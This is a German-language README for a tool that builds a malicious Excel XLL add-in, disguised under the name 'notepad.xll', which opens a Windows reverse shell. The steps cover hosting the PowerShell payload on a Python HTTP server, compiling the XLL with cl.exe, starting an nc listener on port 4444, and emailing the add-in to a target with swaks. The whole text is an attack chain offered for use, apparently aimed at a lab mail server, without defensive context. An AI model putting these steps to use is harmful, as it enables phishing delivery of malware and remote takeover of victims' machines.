xll_windows_reverse_shell

xll Windows-Reverse-Shell

Auf deiner Angreifer-Maschine (Kali):

git clone https://github.com/n3rdh4x0r/xll_windows_reverse_shell.git

1. Aktualisiere die revsh.ps1
2. Erstelle einen Python-HTTP-Server

python3 -m http.server 9999

Auf deiner Angreifer-Maschine (Windows):

1. Verschiebe notpadXLL.c auf deine Windows-Angreifer-Maschine und aktualisiere notpadXLL.c entsprechend.
2. Öffne x64 Native Tools Command Prompt for VS 2022
3. Führe den folgenden Befehl aus, um notepad.xll zu erzeugen

cl.exe /LD notepadXLL.c /link /out:notepad.xll

5. Verschiebe diese notepad.xll auf deine Kali-Maschine

Auf deiner Kali-Maschine

1. Lade swaks herunter

 curl -O https://jetmore.org/john/code/swaks/files/swaks-20240103.0/swaks

2. Konfiguriere den nc-Listener

nc -nlvp 4444

3. Verwende swaks, um eine E-Mail mit angehängter notepad.xll zu senden:

./swaks --to [email protected] --from [email protected] --server 10.10.11.21 --port 25 --header "Subject: test" --body "test" --attach @notepad.xll